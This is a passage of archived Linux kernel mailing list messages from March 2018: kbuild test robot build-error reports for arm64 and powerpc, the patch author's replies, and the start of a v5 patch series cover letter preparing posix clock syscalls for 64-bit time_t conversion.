On Tue, Mar 13, 2018 at 8:22 AM, kbuild test robot <lkp@intel.com> wrote:
> Hi Deepa,
>
> Thank you for the patch! Yet something to improve:
>
> [auto build test ERROR on ]
>
> url:    https://github.com/0day-ci/linux/commits/Deepa-Dinamani/posix_clocks-Prepare-syscalls-for-64-bit-time_t-conversion/20180313-203305
> base:
> config: arm64-allnoconfig (attached as .config)
> compiler: aarch64-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
> reproduce:
>         wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
>         chmod +x ~/bin/make.cross
>         # save the attached .config to linux build tree
>         make.cross ARCH=arm64
>
> All errors (new ones prefixed by >>):
>
>    arch/arm64/kernel/process.c: In function 'copy_thread':
>>> arch/arm64/kernel/process.c:342:8: error: implicit declaration of function 'is_compat_thread'; did you mean 'is_compat_task'? [-Werror=implicit-function-declaration]
>        if (is_compat_thread(task_thread_info(p)))
>            ^~~~~~~~~~~~~~~~
>            is_compat_task
>    cc1: some warnings being treated as errors
>
> vim +342 arch/arm64/kernel/process.c
>
> b3901d54d Catalin Marinas  2012-03-05  307
> b3901d54d Catalin Marinas  2012-03-05  308  int copy_thread(unsigned long clone_flags, unsigned long stack_start,
> afa86fc42 Al Viro          2012-10-22  309              unsigned long stk_sz, struct task_struct *p)
> b3901d54d Catalin Marinas  2012-03-05  310  {
> b3901d54d Catalin Marinas  2012-03-05  311      struct pt_regs *childregs = task_pt_regs(p);
> b3901d54d Catalin Marinas  2012-03-05  312
> c34501d21 Catalin Marinas  2012-10-05  313      memset(&p->thread.cpu_context, 0, sizeof(struct cpu_context));
> c34501d21 Catalin Marinas  2012-10-05  314
> bc0ee4760 Dave Martin      2017-10-31  315      /*
> bc0ee4760 Dave Martin      2017-10-31  316       * Unalias p->thread.sve_state (if any) from the parent task
> bc0ee4760 Dave Martin      2017-10-31  317       * and disable discard SVE state for p:
> bc0ee4760 Dave Martin      2017-10-31  318       */
> bc0ee4760 Dave Martin      2017-10-31  319      clear_tsk_thread_flag(p, TIF_SVE);
> bc0ee4760 Dave Martin      2017-10-31  320      p->thread.sve_state = NULL;
> bc0ee4760 Dave Martin      2017-10-31  321
> 071b6d4a5 Dave Martin      2017-12-05  322      /*
> 071b6d4a5 Dave Martin      2017-12-05  323       * In case p was allocated the same task_struct pointer as some
> 071b6d4a5 Dave Martin      2017-12-05  324       * other recently-exited task, make sure p is disassociated from
> 071b6d4a5 Dave Martin      2017-12-05  325       * any cpu that may have run that now-exited task recently.
> 071b6d4a5 Dave Martin      2017-12-05  326       * Otherwise we could erroneously skip reloading the FPSIMD
> 071b6d4a5 Dave Martin      2017-12-05  327       * registers for p.
> 071b6d4a5 Dave Martin      2017-12-05  328       */
> 071b6d4a5 Dave Martin      2017-12-05  329      fpsimd_flush_task_state(p);
> 071b6d4a5 Dave Martin      2017-12-05  330
> 9ac080021 Al Viro          2012-10-21  331      if (likely(!(p->flags & PF_KTHREAD))) {
> 9ac080021 Al Viro          2012-10-21  332              *childregs = *current_pt_regs();
> b3901d54d Catalin Marinas  2012-03-05  333              childregs->regs[0] = 0;
> d00a3810c Will Deacon      2015-05-27  334
> b3901d54d Catalin Marinas  2012-03-05  335              /*
> b3901d54d Catalin Marinas  2012-03-05  336               * Read the current TLS pointer from tpidr_el0 as it may be
> b3901d54d Catalin Marinas  2012-03-05  337               * out-of-sync with the saved value.
> b3901d54d Catalin Marinas  2012-03-05  338               */
> adf758999 Mark Rutland     2016-09-08  339              *task_user_tls(p) = read_sysreg(tpidr_el0);
> d00a3810c Will Deacon      2015-05-27  340
> e0fd18ce1 Al Viro          2012-10-18  341              if (stack_start) {
> d00a3810c Will Deacon      2015-05-27 @342                      if (is_compat_thread(task_thread_info(p)))
> d00a3810c Will Deacon      2015-05-27  343                              childregs->compat_sp = stack_start;
> d00a3810c Will Deacon      2015-05-27  344                      else
> b3901d54d Catalin Marinas  2012-03-05  345                              childregs->sp = stack_start;
> b3901d54d Catalin Marinas  2012-03-05  346              }
> d00a3810c Will Deacon      2015-05-27  347
> c34501d21 Catalin Marinas  2012-10-05  348              /*
> c34501d21 Catalin Marinas  2012-10-05  349               * If a TLS pointer was passed to clone (4th argument), use it
> c34501d21 Catalin Marinas  2012-10-05  350               * for the new thread.
> c34501d21 Catalin Marinas  2012-10-05  351               */
> b3901d54d Catalin Marinas  2012-03-05  352              if (clone_flags & CLONE_SETTLS)
> d00a3810c Will Deacon      2015-05-27  353                      p->thread.tp_value = childregs->regs[3];
> c34501d21 Catalin Marinas  2012-10-05  354      } else {
> c34501d21 Catalin Marinas  2012-10-05  355              memset(childregs, 0, sizeof(struct pt_regs));
> c34501d21 Catalin Marinas  2012-10-05  356              childregs->pstate = PSR_MODE_EL1h;
> 57f4959ba James Morse      2016-02-05  357              if (IS_ENABLED(CONFIG_ARM64_UAO) &&
> a4023f682 Suzuki K Poulose 2016-11-08  358                  cpus_have_const_cap(ARM64_HAS_UAO))
> 57f4959ba James Morse      2016-02-05  359                      childregs->pstate |= PSR_UAO_BIT;
> c34501d21 Catalin Marinas  2012-10-05  360              p->thread.cpu_context.x19 = stack_start;
> c34501d21 Catalin Marinas  2012-10-05  361              p->thread.cpu_context.x20 = stk_sz;
> c34501d21 Catalin Marinas  2012-10-05  362      }
> c34501d21 Catalin Marinas  2012-10-05  363      p->thread.cpu_context.pc = (unsigned long)ret_from_fork;
> c34501d21 Catalin Marinas  2012-10-05  364      p->thread.cpu_context.sp = (unsigned long)childregs;
> b3901d54d Catalin Marinas  2012-03-05  365
> b3901d54d Catalin Marinas  2012-03-05  366      ptrace_hw_copy_thread(p);
> b3901d54d Catalin Marinas  2012-03-05  367
> b3901d54d Catalin Marinas  2012-03-05  368      return 0;
> b3901d54d Catalin Marinas  2012-03-05  369  }
> b3901d54d Catalin Marinas  2012-03-05  370
>
> :::::: The code at line 342 was first introduced by commit
> :::::: d00a3810c16207d2541b7796a73cca5a24ea3742 arm64: context-switch user tls register tpidr_el0 for compat tasks
>
> :::::: TO: Will Deacon <will.deacon@arm.com>
> :::::: CC: Catalin Marinas <catalin.marinas@arm.com>
>
> ---
> 0-DAY kernel test infrastructure                Open Source Technology Center
> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation
> _______________________________________________
> Y2038 mailing list
> Y2038@lists.linaro.org
> https://lists.linaro.org/mailman/listinfo/y2038

From - Thu Nov 08 21:41:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v4 02/10] include: Move compat_timespec/ timeval to
 compat_time.h
Date: Tue, 13 Mar 2018 20:56:19 -0700
Lines: 78
Approved: news@gmane.org
Message-ID: <CABeXuvp617xkFgMDz8WR_=e6tj2d5LDpF56R-iXCOAqM=tdm+A@mail.gmail.com>
References: <20180312175307.11032-3-deepa.kernel@gmail.com>
 <201803132351.1SZJ68nV%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1520999670 20755 195.159.176.226 (14 Mar 2018 03:54:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 14 Mar 2018 03:54:30 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>,
 "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux <sparclinux@vger.kernel.org>,
 devel@driverdev.osuosl.org, linux-s390 <linux-s390@vger.kernel.org>,
 y2038 Mailman List <y2038@lists.linaro.org>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>, sebott@linux.vnet.ibm.com,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christian Borntraeger <borntraeger@de.ibm.com>, Ingo Molnar <mingo@redhat.com>,
 oprofile-list@lists.sf.net, Catalin Marinas <catalin.marinas@arm.com>,
 Peter Oberparleiter <oberpar@linux.vnet.ibm.com>,
 Robert Richter <rric@kernel.org>,
To: kbuild test robot <lkp@intel.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Wed Mar 14 04:54:21 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp4.osuosl.org ([140.211.166.137] helo=fraxinus.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1evxUY-0005AF-Ma
	for glddd-devel@m.gmane.org; Wed, 14 Mar 2018 04:54:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 440CB8763F;
	Wed, 14 Mar 2018 03:56:24 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3E1-7_nMN0ou; Wed, 14 Mar 2018 03:56:23 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 6B09887642;
	Wed, 14 Mar 2018 03:56:23 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from fraxinus.osuosl.org (smtp4.osuosl.org [140.211.166.137])
 by ash.osuosl.org (Postfix) with ESMTP id 5F5AB1C02D4
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 03:56:21 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by fraxinus.osuosl.org (Postfix) with ESMTP id 5BBEA87642
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 03:56:21 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id AmrkM4b7bpud for <devel@linuxdriverproject.org>;
 Wed, 14 Mar 2018 03:56:20 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-it0-f65.google.com (mail-it0-f65.google.com
 [209.85.214.65])
 by fraxinus.osuosl.org (Postfix) with ESMTPS id 4764A8763F
 for <devel@driverdev.osuosl.org>; Wed, 14 Mar 2018 03:56:20 +0000 (UTC)
Original-Received: by mail-it0-f65.google.com with SMTP id k135-v6so2810865ite.2
 for <devel@driverdev.osuosl.org>; Tue, 13 Mar 2018 20:56:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=JOUFevJyBQ5ypizLG1wQ82jzNwvVsTOW3QBDLsj5l/c=;
 b=KilrY6RCzhjA9qT14gdCXniXPSm9B/vYygQ+3XbX5nOrBP2dgqj6ZTlxbe6CHBObaf
 F6wMefTejIMZVKbx7EARDll6I62H8vizQ52/DnPeGXgIEZG4W2gFGrgaVWmf3KWWOvJF
 JrrnUdplyBHw5/eCbVw74LXdBifumlZnJ5rypCcWpjyAzpuT87JeATAEUrDrizzrQocw
 PDNxW6xc8r82YeeSEPUcgTbonKwx+HFZfBmXwGeNC7Tvpn8qvY1vidjmEi7Kh3sQ3o3z
 Y+dRM1SkQ6glrw3KjnJPQr2PfrbP9+A36Z/hEjFUVmCdQsys1n4uzy4pUEngbKlRsbUQ
 Hm+Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=JOUFevJyBQ5ypizLG1wQ82jzNwvVsTOW3QBDLsj5l/c=;
 b=CABf+dpIvMRkDeMBwKjoOoyyHSe5a/JE0Eb2yBBIoBZ/enurZ4SDQBTAHaYiigN6S/
 FuzRRfHoG8xKXYwx5k7F1QuOCUej9jZmNUEgtyDo88iN2FWImcDi2ooEB+l37uc+3/dY
 IxCzFAMufLlECtVKG9/KymzmP4rK3VDLaQswOQjpa2ATrtN/dysknN2ETeRFn449MbG5
 1z5DhLEh0ZV5LRWh0ZqqX0CJ13C95kb6rUA764BPozngEXT8ptfDfX7PYHorjJv+dyI2
 YlLW4W2+FdWejJYPNnSLCvzGtYS8ShrWfZW/7jbmwLmaODnbCfdKPD7FI5R8lFUIErBw
 wk/g==
X-Gm-Message-State: AElRT7H2O7pIsMLoV6ts6y8aulpuV/ofarEWNvKQEJRhoplJ5Yae8hDf
 pkaX8NCijUAhXnVKGkea2lwoBETDlWsABFae4+A=
X-Google-Smtp-Source: AG47ELtAM9PZD/G707pnBMkXrN7JZDJfuXuK6tDs++5zpJCWZmOzctJpg3Th0ulDcIai73AxNg9YsBvet+rgu2YhtfQ=
X-Received: by 2002:a24:6f04:: with SMTP id x4-v6mr442407itb.51.1520999779532; 
 Tue, 13 Mar 2018 20:56:19 -0700 (PDT)
Original-Received: by 10.107.232.26 with HTTP; Tue, 13 Mar 2018 20:56:19 -0700 (PDT)
In-Reply-To: <201803132351.1SZJ68nV%fengguang.wu@intel.com>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114400 gmane.linux.ports.mips.general:64016 gmane.linux.ports.sparc:27413 gmane.linux.kernel.year-2038:2542 gmane.linux.oprofile:13168 gmane.linux.ports.parisc:28320 gmane.linux.kernel:2713133 gmane.linux.ports.ppc64.devel:154367
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114400>

This is again a tricky include file ordering when linux/compat.h is
included instead of asm/compat.h. is_compat_task() is unconditionally
defined in linux/compat.h as a macro which conflicts with inline
function define in asm/compat.h for this arch.
As before, I will do the simple thing here and leave the asm/compat.h
to keep this series simple.
I will submit follow up patches to eliminate direct inclusion asm/compat.h.

I will include this also in the update.

-Deepa

On Tue, Mar 13, 2018 at 8:30 AM, kbuild test robot <lkp@intel.com> wrote:
> Hi Deepa,
>
> Thank you for the patch! Yet something to improve:
>
> [auto build test ERROR on ]
>
> url:    https://github.com/0day-ci/linux/commits/Deepa-Dinamani/posix_clocks-Prepare-syscalls-for-64-bit-time_t-conversion/20180313-203305
> base:
> config: powerpc-iss476-smp_defconfig (attached as .config)
> compiler: powerpc-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
> reproduce:
>         wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
>         chmod +x ~/bin/make.cross
>         # save the attached .config to linux build tree
>         make.cross ARCH=powerpc
>
> All errors (new ones prefixed by >>):
>
>    arch/powerpc/oprofile/backtrace.c: In function 'user_getsp32':
>>> arch/powerpc/oprofile/backtrace.c:31:19: error: implicit declaration of function 'compat_ptr'; did you mean 'complete'? [-Werror=implicit-function-declaration]
>      void __user *p = compat_ptr(sp);
>                       ^~~~~~~~~~
>                       complete
>>> arch/powerpc/oprofile/backtrace.c:31:19: error: initialization makes pointer from integer without a cast [-Werror=int-conversion]
>    cc1: all warnings being treated as errors
>
> vim +31 arch/powerpc/oprofile/backtrace.c
>
> 6c6bd754 Brian Rogan 2006-03-27  27
> 6c6bd754 Brian Rogan 2006-03-27  28  static unsigned int user_getsp32(unsigned int sp, int is_first)
> 6c6bd754 Brian Rogan 2006-03-27  29  {
> 6c6bd754 Brian Rogan 2006-03-27  30     unsigned int stack_frame[2];
> 62034f03 Al Viro     2006-09-23 @31     void __user *p = compat_ptr(sp);
> 6c6bd754 Brian Rogan 2006-03-27  32
> 62034f03 Al Viro     2006-09-23  33     if (!access_ok(VERIFY_READ, p, sizeof(stack_frame)))
> 6c6bd754 Brian Rogan 2006-03-27  34             return 0;
> 6c6bd754 Brian Rogan 2006-03-27  35
> 6c6bd754 Brian Rogan 2006-03-27  36     /*
> 6c6bd754 Brian Rogan 2006-03-27  37      * The most likely reason for this is that we returned -EFAULT,
> 6c6bd754 Brian Rogan 2006-03-27  38      * which means that we've done all that we can do from
> 6c6bd754 Brian Rogan 2006-03-27  39      * interrupt context.
> 6c6bd754 Brian Rogan 2006-03-27  40      */
> 62034f03 Al Viro     2006-09-23  41     if (__copy_from_user_inatomic(stack_frame, p, sizeof(stack_frame)))
> 6c6bd754 Brian Rogan 2006-03-27  42             return 0;
> 6c6bd754 Brian Rogan 2006-03-27  43
> 6c6bd754 Brian Rogan 2006-03-27  44     if (!is_first)
> 6c6bd754 Brian Rogan 2006-03-27  45             oprofile_add_trace(STACK_LR32(stack_frame));
> 6c6bd754 Brian Rogan 2006-03-27  46
> 6c6bd754 Brian Rogan 2006-03-27  47     /*
> 6c6bd754 Brian Rogan 2006-03-27  48      * We do not enforce increasing stack addresses here because
> 6c6bd754 Brian Rogan 2006-03-27  49      * we may transition to a different stack, eg a signal handler.
> 6c6bd754 Brian Rogan 2006-03-27  50      */
> 6c6bd754 Brian Rogan 2006-03-27  51     return STACK_SP(stack_frame);
> 6c6bd754 Brian Rogan 2006-03-27  52  }
> 6c6bd754 Brian Rogan 2006-03-27  53
>
> :::::: The code at line 31 was first introduced by commit
> :::::: 62034f03380a64c0144b6721f4a2aa55d65346c1 [POWERPC] powerpc oprofile __user annotations
>
> :::::: TO: Al Viro <viro@ftp.linux.org.uk>
> :::::: CC: Paul Mackerras <paulus@samba.org>
>
> ---
> 0-DAY kernel test infrastructure                Open Source Technology Center
> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api,gmane.linux.ports.ppc64.devel
Subject: [PATCH v5 00/10] posix_clocks: Prepare syscalls for 64 bit time_t
 conversion
Date: Tue, 13 Mar 2018 21:03:23 -0700
Lines: 161
Approved: news@gmane.org
Message-ID: <20180314040333.3291-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521000147 24848 195.159.176.226 (14 Mar 2018 04:02:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 14 Mar 2018 04:02:27 +0000 (UTC)
Cc: mark.rutland@arm.com, linux-mips@linux-mips.org, peterz@infradead.org,
 benh@kernel.crashing.org, sth@linux.vnet.ibm.com, heiko.carstens@de.ibm.com,
 paulus@samba.org, hpa@zytor.com, sparclinux@vger.kernel.org,
 devel@driverdev.osuosl.org, linux-s390@vger.kernel.org, y2038@lists.linaro.org,
 mpe@ellerman.id.au, deller@gmx.de, x86@kernel.org, sebott@linux.vnet.ibm.com,
 jejb@parisc-linux.org, will.deacon@arm.com, borntraeger@de.ibm.com,
 mingo@redhat.com, oprofile-list@lists.sf.net, catalin.marinas@arm.com,
 linux-arch@vger.kernel.org, rric@kernel.org, cmetcalf@mellanox.com,
 oberpar@linux.vnet.ibm.com, acme@kernel.org, jwi@linux.vnet.ibm.com,
 rostedt@goodmis.org, ubraun@linux.vnet.ibm.com, gerald.schaefer@de.ibm.com,
 linux-parisc@vger.kernel.org, gregkh@linuxfoundation.org, cohuck@redhat.com,
 linux-kernel@vger.kernel.org, ralf@linux-mips.org, hoeppner@linux.vnet.ibm.com,
 linux-ap
To: arnd@arndb.de,
	tglx@linutronix.de,
	john.stultz@linaro.org
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Wed Mar 14 05:02:19 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp2.osuosl.org ([140.211.166.133] helo=hemlock.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1evxcJ-0006FL-8H
	for glddd-devel@m.gmane.org; Wed, 14 Mar 2018 05:02:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by hemlock.osuosl.org (Postfix) with ESMTP id 4A218899DF;
	Wed, 14 Mar 2018 04:04:25 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gWVVPJM8o3B5; Wed, 14 Mar 2018 04:04:23 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by hemlock.osuosl.org (Postfix) with ESMTP id D75EF898AA;
	Wed, 14 Mar 2018 04:04:23 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from hemlock.osuosl.org (smtp2.osuosl.org [140.211.166.133])
 by ash.osuosl.org (Postfix) with ESMTP id C35F41C002D
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 04:04:22 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by hemlock.osuosl.org (Postfix) with ESMTP id B8E34898AA
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 04:04:22 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id 44juVMXfMr5K for <devel@linuxdriverproject.org>;
 Wed, 14 Mar 2018 04:04:21 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-pl0-f67.google.com (mail-pl0-f67.google.com
 [209.85.160.67])
 by hemlock.osuosl.org (Postfix) with ESMTPS id 76B5989847
 for <devel@driverdev.osuosl.org>; Wed, 14 Mar 2018 04:04:21 +0000 (UTC)
Original-Received: by mail-pl0-f67.google.com with SMTP id m22-v6so1071430pls.5
 for <devel@driverdev.osuosl.org>; Tue, 13 Mar 2018 21:04:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=from:to:cc:subject:date:message-id;
 bh=dtu5LbpuEczC2Y5OuUYn4FwjsrA34yv0P2drUJ/TfX0=;
 b=LtS2iTXvC/qdIdYQLGZc9Z9CTDfDCB5hTQ4HmjcJd0cLy+TQGKTqiUTIOHzQkPtfzb
 CWDMEblEtXIgQhAvPiAh2B460G/RRTPk17h451jNKlEN19SYHW4PPhxwZ86GDsL+C7a6
 1v8FIDFBOLGKhj5+lIYfbZ2MzGJbBZjdun/m/Si+6QB37fkody5yW4NJoNg+eQM51DhW
 INQnC0TPirHMLfsFyllTwaPwfXSsy9TMA5v93kv72AExbNU8h2WzL3sCWGzxIeEDhgmf
 feo+4MG8rtjfm+8FYuIwfhTsc7kFnPNKtwnbNKf0ECmj9k/OIjztZDynvpJbST6asXLg
 5PIA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id;
 bh=dtu5LbpuEczC2Y5OuUYn4FwjsrA34yv0P2drUJ/TfX0=;
 b=pU3BBRBXfZvSb7hx4fOVWfQSwkNx9J44vaM8A9kOOmGrrx3EjVumyrXQZeEuMrInh4
 IrwHbxkJhIHTsgcNeb6eBl/30w7dtbYDpeSyRtuWcXOh8VGdn0nYDsEm5jVMS+yLBNRJ
 eguLwcQ6Ik5pbfhbIU8mNyzEV2ythJsOVBnqMvwf1lv6fK+rYnVMocPWViaI3RTFddem
 m4hXisdxG+fcvJiuCFShJdXwSG05WVRF0yntdPk65QsZZLPZfO11lU6KQwau1MmUTRlh
 lkUQV/Rk/MwITTS6aFkmmpOjpxmgnkVbDKLgjPK4EmcR2+VkZLp7dJiySg0cVIE1JT06
 pyQw==
X-Gm-Message-State: AElRT7G616qVGq2+W0k1CdIbJpxHJraibZodgL5sjatUZfImNx9PfIKN
 6cqx7BtAVWxcbSJRgBmezQY=
X-Google-Smtp-Source: AG47ELuem0VGVCJepftvY25NURknsRspPXkGHyJ9/WtxeePgicC4X+lHdnworsbMR+Qa/pSFwSFd7w==
X-Received: by 2002:a17:902:7b90:: with SMTP id
 w16-v6mr2675424pll.26.1521000260931; 
 Tue, 13 Mar 2018 21:04:20 -0700 (PDT)
Original-Received: from deepa-ubuntu.lan (c-67-170-212-194.hsd1.ca.comcast.net.
 [67.170.212.194])
 by smtp.gmail.com with ESMTPSA id c18sm2663773pfd.100.2018.03.13.21.04.18
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Tue, 13 Mar 2018 21:04:20 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114401 gmane.linux.ports.mips.general:64017 gmane.linux.ports.sparc:27414 gmane.linux.kernel.year-2038:2543 gmane.linux.oprofile:13169 gmane.linux.kernel.cross-arch:42661 gmane.linux.ports.parisc:28321 gmane.linux.kernel:2713136 gmane.linux.kernel.api:27144 gmane.linux.ports.ppc64.devel:154368
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114401>

The series is a preparation series for individual architectures
to use 64 bit time_t syscalls in compat and 32 bit emulation modes.

This is a follow up to the series Arnd Bergmann posted:
https://sourceware.org/ml/libc-alpha/2015-05/msg00070.html [1]

Thomas, Arnd, this seems ready to be merged now.
Can you help get this merged?

Big picture is as per the lwn article:
https://lwn.net/Articles/643234/ [2]

The series is directed at converting posix clock syscalls:
clock_gettime, clock_settime, clock_getres and clock_nanosleep
to use a new data structure __kernel_timespec at syscall boundaries.
__kernel_timespec maintains 64 bit time_t across all execution modes.

vdso will be handled as part of each architecture when they enable
support for 64 bit time_t.

The compat syscalls are repurposed to provide backward compatibility
by using them as native syscalls as well for 32 bit architectures.
They will continue to use timespec at syscall boundaries.

CONFIG_64_BIT_TIME controls whether the syscalls use __kernel_timespec
or timespec at syscall boundaries.

The series does the following:
1. Enable compat syscalls on 32 bit architectures.
2. Add a new __kernel_timespec type to be used as the data structure
   for all the new syscalls.
3. Add new config CONFIG_64BIT_TIME(intead of the CONFIG_COMPAT_TIME in
   [1] and [2] to switch to new definition of __kernel_timespec. It is
   the same as struct timespec otherwise.
4. Add new CONFIG_32BIT_TIME to conditionally compile compat syscalls.

* Changes since v4:
 * Fixed up kbuild errors for arm64 and powerpc non compat configs
* Changes since v3:
 * Updated include file ordering
* Changes since v2:
 * Dropped the ARCH_HAS_64BIT_TIME config.
 * Fixed zeroing out of higher order bits of tv_nsec for real.
 * Addressed minor review comments from v1.
* Changes since v1:
 * Introduce CONFIG_32BIT_TIME
 * Fixed zeroing out of higher order bits of tv_nsec
 * Included Arnd's changes to fix up use of compat headers

I decided against using LEGACY_TIME_SYSCALLS to conditionally compile
legacy time syscalls such as sys_nanosleep because this will need to
enclose compat_sys_nanosleep as well. So, defining it as 

